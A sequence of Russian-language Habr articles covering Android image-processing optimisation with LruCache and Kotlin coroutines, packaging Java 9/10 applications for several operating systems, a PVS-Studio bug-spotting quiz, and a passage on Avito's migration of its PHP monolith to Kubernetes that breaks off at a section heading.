Намечаю пути оптимизации:
1. Обработка изображений.
2. Добавление LruCache.
### Обработка изображений
Все исходные PNG-ресурсы имеют размер 1500х1500 пх. Уменьшаем их до 1080х1080.
Как видно на второй фотографии все исходники квадратные, мышцы находятся на своем месте, а реальные полезные пиксели занимают небольшую площадь. То, что все группы мышц уже находятся на своем месте — это удобно для программиста, но не рационально для производительности. Кропаем (отрезаем) лишнее во всех исходниках, записывая положение (x, y) каждой группы мышц, чтобы наложить в последствии в нужное место.
В первом подходе перекрашивались и накладывались все 29 изображений групп мышц на основу. Основа же включала в себя только голову, кисти рук и части ног. Изменяем основу: теперь она включает в себя помимо головы, рук и ног, все остальные группы мышц. Всё красим в серый цвет color\_muscle0. Это позволит не перекрашивать и не накладывать те группы мышцы, которые не были задействованы.
Теперь все исходники выглядят так:
### LruCache
После дополнительной обработке исходных изображений, некоторые стали занимать немного памяти, что привело к мысли о переиспользовании (не освобождать их после каждого наложения методом .recycle() ) с помощью LruCache. Создаем класс для хранения исходных изображений, который одновременно берет на себя функцию чтения из ресурсов:
```
class LruCacheBitmap(val context: Context) {
private val lruCache: LruCache
init {
val maxMemory = (Runtime.getRuntime().maxMemory() / 1024).toInt()
val cacheSize = maxMemory / 4
lruCache = object : LruCache(cacheSize) {
override fun sizeOf(key: String, bitmap: Bitmap): Int {
return bitmap.byteCount
}
}
}
fun getBitmap(drawableName: String): Bitmap? {
return if (lruCache.get(drawableName) != null) lruCache.get(drawableName) else decodeMuscleFile(drawableName)
}
fun clearAll() {
lruCache.evictAll()
}
private fun decodeMuscleFile(drawableName: String): Bitmap? {
val bitmap = BitmapFactory.decodeResource(context.resources,
context.resources.getIdentifier(drawableName, "drawable", context.packageName))
if (bitmap != null) {
lruCache.put(drawableName, bitmap)
}
return bitmap
}
}
```
Изображения подготовлены, декодирование ресурсов оптимизировано.
Плавный переход с Java на Kotlin обсуждать не будем, но он произошел.
Корутины
--------
Код с использованием IntentService работает, но читаемость кода с колбэками не назовешь приятной.
Добавим желание посмотреть на корутины Котлина в работе. Добавим понимание того, что через пару месяцев читать свой синхронный код будет приятнее, чем поиск места возврата Uri файлов сгенерированных изображений.
Также ускорение обработки изображений натолкнуло на мысль использовать фичу в нескольких новых местах приложения, в частности в описании упражнений, а не только после тренировки.
```
private val errorHandler = CoroutineExceptionHandler { _, e -> e.printStackTrace()}
private val job = SupervisorJob()
private val scope = CoroutineScope(Dispatchers.Main + job + errorHandler)
private var uries: HashMap = HashMap()
fun startImageGenerating() = scope.launch {
...
val imgMuscle = ImgMuscle()
uries = withContext(Dispatchers.IO) { imgMuscle.createMuscleImages() }
...
}
```
Стандартная связка errorHandler, job и scope – скоуп корутин с хендлером ошибок, если корутина сломается.
uries – HashMap, который хранит в себе 6 изображений для последующего вывода в UI:
uries["last\_back"]=Uri?
uries["last\_front"]=Uri?
uries["week\_back"]=Uri?
uries["week\_front"]=Uri?
uries["month\_back"]=Uri?
uries["month\_front"]=Uri?
```
class ImgMuscle {
val lruBitmap: LruCacheBitmap
suspend fun createMuscleImages(): HashMap {
return suspendCoroutine { continuation ->
val resultUries = HashMap()
... //создаем и сохраняем изображения
continuation.resume(resultUries)
}
}
}
```
Замеряем время обработки.
```
>start 1549400719844
>finish 1549400720440 diff=596 ms
```
#### С 9313 мс обработка уменьшилась до 596 мс
Если есть идеи по дополнительной оптимизации – велком в комментарии. | https://habr.com/ru/post/439596/ | null | ru | null |
# Создание дистрибутивов для разных операционных систем в Java 9 и 10
В статье рассказывается о построении полноценных дистрибутивов для *Windows*, *macOS* и *Linux* стандартными средствами *Java 9* и *10*.
Дополняет ранее опубликованную статью об [уменьшении размера дистрибутива](https://habrahabr.ru/company/jugru/blog/324318/), делая акцент не на модульности, а на особенностях создания дистрибутива для разных операционных систем.
Перечисляются произошедшие с *Java 9* изменения. Описывается последовательность шагов, выполняемых скриптом сборки, с указанием мест, где возможны изменение поведения и настройка. Приводится история со счастливым финалом преодоления особенностей и ошибок, появившихся в *Java 9*.
[](https://habrahabr.ru/company/jugru/blog/340248/)
### Пролог
Настольные (*desktop*) приложения, написанные на языке програмирования *Java*, по-прежнему имеют право на существование. Самым ярким примером является *IntelliJ IDEA*, [дистрибутивы](https://www.jetbrains.com/idea/download) для установки которой существуют для разных операционных систем.
В *JDK* включена утилита командной строки [Java Packager](https://docs.oracle.com/javase/9/tools/javapackager.htm), служащая для компиляции, создания цифровой подписи и сборки дистрибутивов Java-приложений. Утилита впервые появилась в *JDK 7 Update 6*. Кроме использования в командной строке её функции доступны в виде задач (*tasks*) для [Ant](http://ant.apache.org). В документации они именуются [JavaFX Ant Tasks](https://docs.oracle.com/javase/9/deploy/javafx-ant-tasks.htm).
При написании статьи были использованы:
* операционные системы *Windows 10*, *macOS High Sierra 10.13*, *Ubuntu 16.04.3 LTS*;
* [JDK 9](http://www.oracle.com/technetwork/java/javase/downloads/index.html) и [JDK 10 Early-Access Builds](http://jdk.java.net/10/) для всех трёх операционных систем;
* [Apache Maven 3.5.0](https://maven.apache.org/download.cgi);
* [Inno Setup 5.5.9](http://www.jrsoftware.org/isinfo.php);
* *IDE* с поддержкой *Java 9* и *Java 10* (например, [IntelliJ IDEA 2017.3.2](https://www.jetbrains.com/idea/download/) или позднее).
Проект может быть найден [на GitHub](https://github.com/dbelob/multiplatform-distribution). Компиляция и сборка дистрибутива осуществляется при помощи *Maven*. Проект примера включает три части (модуля в терминологии *Maven*):
* **multiplatform-distribution-client** с кодом приложения;
* **multiplatform-distribution-distrib** со вспомогательными файлами дистрибутива;
* **multiplatform-distribution-resources** с ресурсами для инсталляторов.
### Сборка дистрибутива
В таблице перечислены в порядке выполнения этапы формирования дистрибутивов. Специально выделены **жирным те этапы**, на которых может возникнуть необходимость или желание изменить поведение, внешний вид или состав дистрибутивов.
| № п/п | Модуль Maven | Плагин Maven | Фаза жизненного цикла Maven | Этап |
| --- | --- | --- | --- | --- |
| 1 | multiplatform-distribution-resources | maven-resources-plugin | process-resources | **Подстановка строковых значений в файлах `.iss` (для *Windows*) и `.plist` (для *macOS*)** |
| 2 | multiplatform-distribution-client | maven-dependency-plugin | generate-sources | Формирование списка зависимостей для манифеста |
| 3 | build-helper-maven-plugin | generate-sources | Замена разделителя в списке зависимостей для манифеста |
| 4 | maven-compiler-plugin | compile | Компиляция кода |
| 5 | maven-jar-plugin | package | Создание файла `.jar` |
| 6 | maven-dependency-plugin | package | Копирование зависимостей для дистрибутива |
| 7 | maven-resources-plugin | package | **Копирование дополнительных файлов для дистрибутива** |
| 8 | maven-antrun-plugin | package | 1. **Использование графических и конфигурационных файлов для сборки дистрибутива**
2. Создание образа *JRE*
3. Формирование дистрибутива для конкретной операционной системы
|
| 9 | maven-assembly-plugin | package | **Формирование файла дистрибутива `.tar.gz` для *Linux* (только при запуске на *Linux*)** |
| 10 | multiplatform-distribution-distrib | maven-assembly-plugin | package | 1. **Подстановка строковых значений в файлах `.bat` (для *Windows*), `.sh` (для *macOS* и *Linux*) и лицензии**
2. **Формирование универсального дистрибутива `.zip` (без *JRE*)**
|
Чтобы создать дистрибутивы в *macOS* и *Linux*, нужны только *JDK* и *Maven*. В операционной системе *Windows* предварительно необходимо установить [Inno Setup](http://www.jrsoftware.org/isinfo.php) или [WiX Toolset](http://wixtoolset.org). Далее подразумевается, что используется *Inno Setup*.
Запуск компиляции и сборки дистрибутива в *Windows* и *macOS*:
```
mvn clean package -P native-deploy
```
Запуск компиляции и сборки дистрибутива в *Linux* (дополнительно создаётся файл архива `tar.gz`):
```
mvn clean package -P native-deploy,tar-gz
```
Файлы созданного дистрибутива с расширением `exe` (для *Windows*), `dmg` (для *macOS*) располагаются в каталоге `multiplatform-distribution-client/target/deploy/native`, с расширением `tar.gz` (для *Linux*) — в каталоге `multiplatform-distribution-client/target`.
Универсальный дистрибутив с расширением `zip`, пригодный для любой операционной системы и не содержащий в себе *JRE*, создаётся в каталоге `multiplatform-distribution-distrib/target`.
### Особенности Java 9 и 10
Долгожданный выход *Java 9* деструктивно повлиял на скрипт сборки дистрибутива, до этого успешно работавший в предыдущей версии *Java*.
**Во-первых**, задача , выполняющая формирование образа *JRE* и создание дистрибутива, немного **изменила структуру используемых ею каталогов**. Скрипт сборки был изменён, чтобы учесть это.
**Во-вторых**, при создании инсталляторов дистрибутивов **перестали загружаться текстовые и графические ресурсы**, см. [JDK-8186683](https://bugs.openjdk.java.net/browse/JDK-8186683). Невозможность загрузки ресурсов из *classpath* при сборке дистрибутива в *Java 9* компенсирована добавлением нового аргумента [dropinResourcesRoot](https://docs.oracle.com/javase/9/deploy/self-contained-application-packaging.htm#GUID-B1C74A01-A7A1-45AC-80F8-8A9B2344322C). В качестве значения аргумента рекомендуется указать путь к каталогу с ресурсами. В описании задачи в файле `pom.xml` это будет выглядеть так:
**В-третьих**, из-за допущенных ошибок в реализации в *Java 9* **пропала возможность включать в дистрибутив подкаталоги с файлами**, например, подкаталог `lib` с библиотеками-зависимостями программы. Ошибка проявлялась только в *Windows* и *macOS*. Преодоление этой проблемы превратилось в целую детективную историю и вынужденно растянулось на долгое время, отсрочив публикацию статьи.
Хроника событий:
1. Клонирован [репозиторий OpenJFX](http://hg.openjdk.java.net/openjfx/jfx-dev/rt) и найдена ошибка.
2. Обнаружен уже существующий [JDK-8179033](https://bugs.openjdk.java.net/browse/JDK-8179033) с описанием тех же симптомов.
3. По совету [lany](https://habrahabr.ru/users/lany/) (спасибо ему большое) написаны письма [раз](http://mail.openjdk.java.net/pipermail/openjfx-dev/2017-October/020878.html) и [два](http://mail.openjdk.java.net/pipermail/openjfx-dev/2017-November/021038.html) в группу [openjfx-dev](http://mail.openjdk.java.net/mailman/listinfo/openjfx-dev), с предложением изменений, требуемых для исправления ошибки, и советом, как их правильность проверить.
4. Переписка с исполнителями [JDK-8179033](https://bugs.openjdk.java.net/browse/JDK-8179033) — благодарю Виктора Дроздова за доброжелательное отношение и терпение.
5. Ошибка исправлена и исправление попало в очередную сборку предварительной версии *Java 10* — [jdk-10-ea+36](http://jdk.java.net/10/).
6. Сборка дистрибутива, запущенная из командной строки, стала выполняться успешно.
7. При попытке в *IntelliJ IDEA* добавить [jdk-10-ea+36](http://jdk.java.net/10/) в список *SDK* — ошибка (в отличие от предыдущих сборок), создан [IDEA-183920](https://youtrack.jetbrains.com/issue/IDEA-183920).
8. Комментатором [IDEA-183920](https://youtrack.jetbrains.com/issue/IDEA-183920) указана причина ошибки добавления *JDK* — исчезнование именно в этой сборке *JDK* утилиты *javah*, в том числе наличие которой требовалось для успешной идентификации.
9. Выход [IntelliJ IDEA 2017.3.2](https://www.jetbrains.com/idea/download/), в которой ошибка идентификации *JDK 10* исправлена.
10. Сборка дистрибутива стала возможна из среды разработки тоже.
### Адаптация примера для собственного использования
1. Переименовать модули *Maven* проекта, заменив префикс **multiplatform-distribution** в наименовании на что-то другое.
2. Переименовать файлы `multiplatform-distribution.bat` и `multiplatform-distribution.sh`, находящиеся в модуле **multiplatform-distribution-distrib**.
3. Изменить в файлах `pom.xml`:
* имена переименованных модулей *Maven*;
* имена каталогов, соответствующих переименованным модулям *Maven*.
4. Изменить в файлах `assembly.xml`:
* имена переименованных модулей *Maven*;
* упоминания изменённых имён файлов `multiplatform-distribution.bat` и `multiplatform-distribution.sh`.
5. Изменить в файле корневого `pom.xml` значения свойств с именами , содержащие:
* полное наименование приложения;
* краткое наименование приложения;
* год (-a) copyright;
* код приложения в именах файлах;
* пакет приложения по умолчанию;
* наименование класса для запуска приложения.
6. Добавить в модуль **multiplatform-distribution-client** собственный код.
7. Изменить содержимое файлов `license.txt` и `readme.txt` в модуле **multiplatform-distribution-client**.
8. Изменить содержимое графических файлов и их имена в модуле **multiplatform-distribution-resources**.
### Выводы
* стандартными средствами *JDK 9* и *10* можно построить дистрибутивы для различных операционных систем;
* кастомизация состава, поведения и вида дистрибутивов относительно проста;
* в *Java 9* появились некоторые особенности, которые были учтены при написании данной статьи.
Недавно появился [JEP 311: Java Packager API & CLI](http://openjdk.java.net/jeps/311) для создания нового *API* и *CLI* (интерфейса командной строки) для [Java Packager](https://docs.oracle.com/javase/9/tools/javapackager.htm). *JEP* в настоящее время отклонён, ранее изменения планировалось произвести в *JDK 10* и *JDK 11*. При возобновлении активности данная статья может получить продолжение в ближайшем будущем.
На предстоящих 4 марта ([JBreak 2018](https://2018.jbreak.ru) в Новосибирске) и 6-7 апреля ([JPoint 2018](https://jpoint.ru) в Москве) конференциях имеется возможность посетить доклады на близкие темы по *Java 9* и будущим версиям *Java*:
* [JDK 9, Mission Accomplished: What next for Java?](https://2018.jbreak.ru/talks/1wep9lsitsywegsugs08uy/) (Simon Ritter)
* [Migrating to Java 9 modules](https://jpoint.ru/talks/5auxdrsar6ywaugwquimyi/) (Sander Mak)
* [Refactoring your code to Java 9 modules](https://jpoint.ru/talks/4uhryig3nu82wa6gwioq4q/) (Rabea Gransberger)
* [JavaFX on JDK 9](https://jpoint.ru/talks/19qqwspvjgem4isuc0usmy/) (Gerrit Grunwald) | https://habr.com/ru/post/340248/ | null | ru | null |
# Игра: найди ошибку в C++ коде
Авторы анализатора PVS-Studio предлагают вам проверить свою внимательность и развлечься. Попробуйте быстро отыскать баг в фрагменте исходного кода и ткнуть в него мышкой.
Анализаторы кода работают без устали и умеют находить множество ошибок, которые сложно заметить. Мы отобрали несколько фрагментов кода, в которых выявили ошибки с помощью PVS-Studio. Все фрагменты [взяты](https://pvs-studio.com/ru/blog/inspections/?utm_source=habr&utm_medium=firefly) из известных Open Source проектов.
Предлагаем вам посоревноваться с анализатором в прозорливости и попробовать самостоятельно найти ошибки. Вам будет предложено 10 случайно выбранных заданий. За верный ответ начисляется одно очко, если баг найден в течение 1 минуты.
Ограничение в 1 минуту сделано для интереса. Иначе вы, скорее всего, верно найдёте и укажете каждую ошибку, так как фрагменты кода короткие. В любом случае относитесь к этому просто как к игре, а не как к настоящему тестированию программистских навыков у вас или ваших коллег :)
Когда нашли ошибку, выделите её кликом мышки и нажмите кнопку "Ответ". Бывает, что в коде есть сразу несколько мест, куда вы можете "ткнуть" — и ответ зачтётся как правильный. Поясним это на примере.
```
case FuriHalSubGhzPreset2FSKDev476Async:
preset_name = "FuriHalSubGhzPreset2FSKDev476Async";
break;
FURI_LOG_E(SUBGHZ_PARSER_TAG, "Unknown preset");
default:
```
Этот код взят из проекта FlipperZero. Анализатор PVS-Studio сообщает, что часть кода никогда не выполняется: V779 [CWE-561, CERT-MSC12-C] Unreachable code detected. It is possible that an error is present. subghz\_i.c 44
Кто-то поспешил и использовал макрос логирования после оператора *break*. Или это следствие неудачного рефакторинга. В любом случае ошибка очевидна, но вот куда именно ткнуть мышкой – вопрос сложнее.
С одной стороны, в качестве ответа можно выбрать оператор *break*. Он расположен до макроса *FURI\_LOG\_E* и прерывает выполнение оператора *switch*. Значит, проблема здесь.
С другой стороны, можно выбрать макрос логирования. Ведь это недостижимый код.
Так как же быть? Очень просто. В данном случае правильным ответом будет считаться как выделенный оператор *break*, так и макрос *FURI\_LOG\_E*.
Думаем, правила понятны. Желаем вам удачи: [начать игру](https://quiz.pvs-studio.com/ru/cpp/?utm_source=habr&utm_medium=firefly).
Не забудьте, показать этот Quiz вашим коллегам! Развлекайтесь, и безбажного вам кода!
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [PVS-Studio's challenge: can you spot an error?](https://pvs-studio.com/en/blog/posts/cpp/0960/?utm_source=habr&utm_medium=firefly). | https://habr.com/ru/post/673988/ | null | ru | null |
# Эволюция архитектуры Авито, или Как мы монолит в Kubernetes затолкали
Всем привет, я Александр Данковцев, lead engineer команды Antimonolith. Как можно догадаться, в Авито я занимаюсь распилом монолита.
В прошлой статье я рассказывал [про наш CI/CD](https://habr.com/ru/company/avito/blog/560166/). Сегодня речь пойдёт о процессе миграции монолита в Kubernetes и сопутствующих ему проблемах. Я разберу, как мы эти проблемы решали и к чему в итоге пришли.
Что было в начале
-----------------
История архитектуры Авито началась с 2007 года и примерно до 2015 года практически не менялась. Архитектура представляла из себя 10 верхнеуровневых балансировщиков трафика, которые принимали пользовательские запросы и балансили их на 64 LXC-контейнера с монолитным бэкендом Авито. Монолит представлял собой миллион строк на PHP и общался со множеством баз данных — их было порядка 10.
У такой архитектуры был ряд проблем:
1. Монолитное приложение недостаточно гибкое.
2. Возникла потребность где-то держать общую функциональность: у нас появлялись второстепенные продукты, и нужно было переиспользовать общую логику.
3. Всё концентрировалось в одном приложении, которое обращалось со множеством баз данных.
4. Страдала отказоустойчивость.
С 2015 года мы стали двигаться в сторону микросервисов, и к 2016 году их было порядка десяти. Поначалу микросервисы делали только на LXC и по канонам: каждый должен был обладать своей базой данных. При этом некоторые микросервисы могли общаться и с общей базой, например, момент миграции, такое возможно:
В 2017 году в поле нашего зрения попал Kubernetes, мы стали его изучать и адаптировать к себе в инфраструктуру. К концу года у нас было уже 60 микросервисов: часть на LXC, часть в Kubernetes.
В 2018 мы закончили миграцию с LXC-микросервисов в Kubernetes. Их общее количество доросло до 200.
Дальше мы стали развивать идею с распилом монолита. У нас появился api-gateway, с помощью которого мы смогли создавать первые api-composition сервисы. Api-gateway маршрутизирует, куда отправить запрос: либо это будет avito-site, либо как раз какой-нибудь api-сomposition.
Api-composition — это тип сервисов, которые содержат бизнес-логику, основанную на взаимодействии других микросервисов, и форматируют ответ для клиента (приложения). Основная их идея в том, что такие сервисы не имеют под собой хранилища данных, максимум, что допустимо, — какой-нибудь кэширующий слой. Это сервисы более высокого уровня логики:
Также с 2018 года у нас [появился PaaS](https://habr.com/ru/company/avito/blog/527400/), и количество сервисов стало расти с невероятной скоростью: с 200 до 600 за год. PaaS позволял культивировать их намного быстрее.
С появлением схемы с api-composition и api-gateway появилась возможность ходить в монолит «дешевле». Раньше, чтобы микросервис попал в avito-site, ему нужно было отправить внешний запрос, пройти все балансировщики и попасть только на LXC. В новой схеме стало возможно посылать запрос в api-gateway, который мог смаршрутизировать в avito-site.
Было:
Стало:
Прямой поход в микросервис, минуя монолитТакой трюк создал нам дополнительную проблему. DevOps-инженерам нужно было легко и быстро убирать из-под нагрузки произвольные LXC-контейнеры, например, чтобы обновить ядро или произвести другую работу. Получилось так, что список хостов монолита стал дублироваться. Часть была зафиксирована во фронтенд nginx, а другая коммитилась в api-gateway.
Чтобы решить проблему, мы закрыли все запросы к сайту через HAProxy. В каждом LXC-контейнере монолита создавался файлик `healthcheck.html`. Если api-gateway видел, что файлика нет, то не отправлял туда пользовательские запросы.
Авито в Kubernetes
------------------
### Блокеры
В середине 2019 года Авито начал переезжать из одного в три дата-центра. Мы стали думать, какие блокеры могут возникнуть для переезда монолита.
Одним из блокеров было то, что монолит хостится на LXC, а это один дата-центр. Засетапить всю инфраструктуру в три дата-центра было бы очень сложно, поэтому мы не стали так делать. Вместо этого решили перенести монолит в Kubernetes, чтобы он стал своего рода «микросервисом».
Следующей сложностью было то, что очень много логики было завязано на шаринг данных между контейнерами. Мы приняли решение, что перепишем её на S3-технологии, в нашем случае на Ceph.
Ещё один блокер — LXC сложно масштабировать. Но с Kubernetes это будет решаться довольно просто, одной-единственной командой *kubectl scale deploy*. То есть можно легко и быстро отмасштабироваться, если мы вдруг не справимся с нагрузкой.
Несколько дата-центров означают, что кроны должны запускаться в единственном экземпляре, где бы они не находились. Эта проблема решается сервисом lock-ов.
И последний нюанс был в том, что все демоны в монолите запускались под супервизором. У них был один большой царь LXC-контейнер. В распределённой системе, если делать их разными маленькими демоночками, нужно уметь всё это контролировать: останавливать, перезапускать, читать логи, масштабировать и так далее. Для этого мы решили реализовать Supervisor Aggregator, о нём я расскажу в конце статьи.
### Вызовы
Мы решили, что будем катить монолит в Kubernetes. Какие первоначальные вызовы перед нами встали?
**Доступы в базу данных.** На LXC для монолита были настроены политики в trust: у нас был список пользователей, под которыми разрешалось ходить в базу данных. И соответственно, были разрешённые хосты, то есть в базу данных можно было ходить без пароля.
С Kubernetes такая история не сработает, поэтому мы решили переписать его на работы с секретами из Vault. Благодаря этому не придётся хардкодить ни пользователей, ни хосты. Всё просто.
**Конфигурация хостов для доступа к микросервисам.** У нас есть три окружения:
1. Local — для доступа с локальной машины разработчика.
2. Dev/staging — хост в сборке.
3. Prod — хост для доступа с LXC.
С введением ещё одного окружения для Kubernetes возникает необходимость завести ещё один хост для доступа. Но мы решили так не делать, а реализовали рендер конфигураций для proxy. Благодаря нему хост в Kubernetes выглядел точно так же, как хост для LXC. А значит, нам не нужно было хардкорить дополнительный локейшн для окружения.
**Конфигурация ресурсов.** Монолит использует кучу конфигураций, proxy, более 10 кэширующих кластеров, 10 баз данных, 3 кластера поиска, несколько кластеров Rabbit и так далее. По идее, все их нужно описывать в ConfigMap, а это очень больно.
Но оказалось, что в Авито уже есть решение проблемы. Ребята в DBaaS-команде разработали инструмент Xproxy. Xproxy — утилита, с помощью который через переменные окружения передаются:
* для какого сервиса мы хотим настроить коннект — на схеме ниже приведён пример common cache;
* название хранилища;
* на каком IP + port-у будет прокси для доступа к нужному хранилищу.
Xproxy под капотом получает данные из Consul, рендерит конфиги для HAProxy, Twemproxy, и поднимает коннекты до реальных железок, в которых лежит common cache cluster. Бэкенду остаётся просто ходить по привязанному адресу:
**Деплой.** Нам нужно уметь поддерживать канарейки, sticky-сессии, и нам нужен blue-green релиз. Helm это не поддерживает. Но мы нашли workaround вокруг Helm: делали деплой релиза с суффиксом, обновляли Ingress и удаляли старый релиз.
**Legacy Redis Local.** Это Redis, в котором сохраняется feature toggle. Эти Redis-ы реплицировались на каждый LXC-контейнер. На них очень высокая нагрузка — два миллиона запросов в минуту. Взаимодействие было по unix socket. То есть если из Kubernetes натравливать на физический, железный Redis по TCP/IP, будет очень больно.
В первом подходе мы сделали репликацию Redis в контейнер и переделали на взаимодействие по TCP. Но так лучше не делать: репликация Redis в Kubernetes-контейнере — это очень плохо. Давайте на примере посмотрим, почему.
Представим, что у нас две ноды кластера, где есть жёлтые поды avito-site-ver1, в которых есть контейнер со слейвом Redis-а. В центре расположен redis-sentinel, который доставляет данные с мастера для наших реплик. А ещё есть, допустим, синий service-user-ver1, у которого тоже есть Redis.
Мы деплоим монолит. Kubernetes выдал новые айпишники, avito-site-ver2 развернулся в новом месте:
Контейнеры с Redis-ом в avito-site запросили: «Дай мне данные, я твой slave». Redis-sentinel зарегистрировал себе новые end-пойнты для рассылки данных: теперь он рассылает их уже не в три источника, а в шесть. При этом три источника уже мертвы.
Service-user тоже решил задеплоиться. И тут мы рискуем получить ситуацию, когда для одного из подов service-user Kubernetes выдал айпишник, на котором раньше располагался avito-site:
В итоге у service-user появится feature toggle монолита. Service-user будет пытаться что-то туда записать, но у него ничего не выйдет, потому что данные моментально будут перезаписываться. Это очень плохая практика, на которую мы напоролись.
После того как мы изучили все проблемы, то собрали примерно такой pod avito-site-ver1:
Входящие запросы приходят на nginx, обрабатываются в php-fpm. Есть список кэшей: xproxy, haproxy для Sphinx, контейнер с redis-local и twemproxy для memcache. Есть и набор контейнеров для работы с базой данных и контейнер для отправки логов.
Но на деле этого оказалось мало. Здесь нет метрик с core-nginx. Я ранее упоминал, что мы рендерим такой же config, как для LXC, соответственно, нам нужно собирать access-логи и метрики по ним. Нет и service discovery — компонента, который отвечает за балансировку, то есть маршрутизацию сервисов, расположенных в других дата-центрах. И нет никакого агрегатора метрик. Получилось, что все метрики отправляются в одну точку, а это узкое горлышко.
Доработали и сделали царь Kubernetes pod:
SOC — это обработчик nginx access-логов, который превращает access-логи в метрики. Контейнер [bioyino](https://github.com/avito-tech/bioyino) — это агрегатор, локальный statsd-агент, в который отправляются метрики. Сначала мы со всех контейнеров шлём все метрики в один, а он уже их агрегирует и отправляет агрегированные, уменьшенные данные. Расширились логи, например появился rsyslog, который пушит события в ClickHouse. Появились контейнеры для service discovery.
Итак, мы подготовили наш финальный pod. Пришло время интегрировать его в продакшн.
### Интеграция: подготовка
Монолит Авито — всем монолитам монолит. Он включает в себя порядка десяти разных доменов: это www.avito.ru (desktop), m.avito.ru (mobile), домен для backoffice и другие.
Подготовку к интеграции начали с тестового стенда. Мы задеплоили тестовый релиз с суффиксом “-test” и создали отдельные поддомены на внешних балансировщиках, чтобы они прибивались там к нужному нам инстансу. Дальше настроили reverse-proxy и запросили суперадминские права для тестов.
На тестах щупали всю функциональность: смотрели объявления, что-то делали в модерации, писали комментарии. После того как всё было протестировано, мы интегрировались в pipeline релиза, чтобы при деплоях монолита деплоился и инстанс Kubernetes.
### Интеграция: запуск боевого трафика
Запуск боевого трафика мы начали с админки Авито. Сначала добавили в интерфейс признак, что страничка была отрендерена версией Авито в Kubernetes. На балансировщиках мы добавляли заголовок x-kubernetes, а в интерфейсе рисовали картинку с логотипом.
Затем дождались, когда произойдёт релиз. В нём раскатился prod-экземпляр без трафика, а затем мы начали добавлять трафик. Сначала интегрировали split-ep трафика по IP-адресам, то есть взяли конкретных пользователей, которые будут пользоваться новой админкой. После того как мы ещё раз убедились, что всё работает, стали добавлять под сетями московский и питерский офисы. А когда всё обкатали, то сделали подключение для всех пользователей админки.
Так мы затащили весь backoffice в Kubernetes. После того как появился instance монолит непосредственно в «Кубе», на него стало можно ходить по внутреннему адресу. До этого ходить можно было только через api-gateway:
### Интеграция: новые проблемы и решения
Kubernetes pod с сайтом оказался слишком толстым, и сильно влиял на соседние сервисы. Мы решили переселить avito-site в отдельный pool, чтобы меньше шумело.
Также возникла проблема неконсистентности окружений. Какие-то PHP-расширения в Docker-образе есть, а в LXC контейнере нет, и так далее. С этим мы решили ничего не делать и просто подождать полной миграции в Kubernetes, чтобы не распыляться. Сначала коллеги тревожились по любому отказу в админке, но со временем всё устаканилось, и все поняли, что виноват не Kubernetes, а другие взаимные сервисы.
Helm не умеет деплоиться в несколько кластеров. Тут нас выручило то, что команда архитектуры сделала новый деплоер — Jibe, и мы перевели на него avito-site.
Дополнительная проблема, с которой мы столкнулись, — nginx не умеет резолвить несуществующие сервисы. В монолите указано более двухсот сервисов, а это означает, что мы сгенерировали для них 200 nginx upstream-ов, и, если хотя бы один будет недоступен, nginx не сможет подняться. Это некруто. Если сервис в процессе работы удалят и заново задеплоят, монолит не сможет в этот сервис сходить, пока его не перевыкатят. Эту проблему решили переездом на envoy как proxy в сервисы.
Были и трудности при подключении новых сервисов. Возникали ситуации, когда кто-нибудь добавил сервис, в LXC он заработал, а в Kubernetes нет. То есть в вебе сервис работает, а в админке нет. Мы посмотрели, в чём дело, и добавили линтер конфигов, который решил задачу.
После работы над новыми проблемами наш царь-pod немного изменился:
В нём появился envoy-core, я отнёс его к блоку service discovery. С этого envoy мы стали сразу читать метрики. А часть контейнеров, которая агрегировала данные с nginx, стала больше не нужна. Итого, один контейнер прибавился, один убавился.
### Интеграция: льём больше трафика
Когда мы собрали все шишки и всё починили, наступил черёд лить трафик дальше. И следующий на подходе после backoffice — наш десктоп, самый нагруженный.
Алгоритм по переключению десктопного трафика был следующий:
1. **Планирование.** Провели планирование того, какие запросы переключать: подобрали регулярку, например нужно перелить /api или /profile.
2. **Оценка объёма.** Мы внимательно смотрели на access-логи, метрики и то, какая нагрузка поступает на ручки.
3. **Выделение php-fpm.** После того как мы получали какие-то данные, мы принимали решение, нужно ли дополнительно выделять php-fpm pool воркеров. Основываясь на метриках, мы понимали, как их лимитировать, какие выставить тайм-ауты. Смотря на логику самих ручек, дополнительно лимитировали их по памяти, чтобы не было бесконтрольного роста.
4. **Масштабирование.** Мы смотрели, хватает ли текущей ёмкости и наращивали количество реплик сайта при необходимости.
5. **Маршрут в api-gateway.**
6. **Маршрут во frontend-nginx.**
После выполнения всех шагов трафик начинал поступать внутрь нового монолита в Kubernetes. Процедуру по переключению трафика мы проделывали несколько раз: повторяли, пока было что переключать. Налили трафик, ещё чуть переключили, там-то убавили, там-то потушили LXC.
В какой-то момент схема не сработала. Нашёлся предел, причём нашёлся он довольно быстро. Настало время оптимизаций.
### Взрыв на проде: оптимизации
Какие новые блокеры мы обнаружили?
Мы масштабировались и увеличивали количество реплик. И наш выделенный Kubernetes pool с нодами, на которые разрешено деплоиться, закончился. Мы решили снять ограничения и увеличить количество реплик, то есть сделать взаимную компенсацию. Изначально мы загоняли монолит в выделенный pool, потому что он был слишком шумным. Но, дав ему возможность катиться куда угодно и увеличив количество реплик, мы понижали нагрузку на конкретный instance и тем самым сокращали его влияние на соседей.
Также у нас неожиданно возникла проблема с тем, что response time Redis-ов стал упираться в «полочку». Оказалось, что была слишком большая сетевая активность в одном контейнере. Один контейнер поднимал proxy до десяти разных кэширующих Redis-ов. А каждый кэширующий Redis — это кэширующий кластер, где могло быть до 64 тачек. Это сумасшедшая цифра. Мы разделили один xproxy на четыре разных контейнера, и в этом сетапе контейнеры с xproxy стали работать гораздо лучше и справляться с нагрузкой.
Метрики с envoy стали «рваными». Они собираются инфраструктурными компонентами и складируются в Prometheus. Prometheus перестал справляться с их огромным количеством и начал терять данные. Это мы полечили тем, что подключили отправку метрик через локальные statsd-агенты.
Также была проблема высокой утилизации нод с монолитом. Её мы решили комплексно. Провели инвентаризацию, актуализировали requests/limits, чтобы Kubernetes лучше шедулил поды и не засылал несколько подов на одну ноду. Спилили redis-local, заменили его тем, что ходим напрямую за feature toggle и сохраняем их в in-memory cache в APCu PHP-шном. Тем самым мы значительно сняли сетевую нагрузку.
Мы также полностью отказались от ещё одной технологии — memcache. Меньше зоопарка — меньше проблем. И дополнительно переделали отправку метрик через cluster IP. Получается, на каждую Kubernetes-ноду мы локально поставили statsd-агрегатор, и необходимость в локальном контейнере Bioyino отпала. Мы начали просто отправлять метрики с айпишника ноды в statsd-агент.
В итоге Kubernetes pod стал гораздо легче деплоиться, а ресурсов в кластере стало больше:
### Добиваем интеграцию
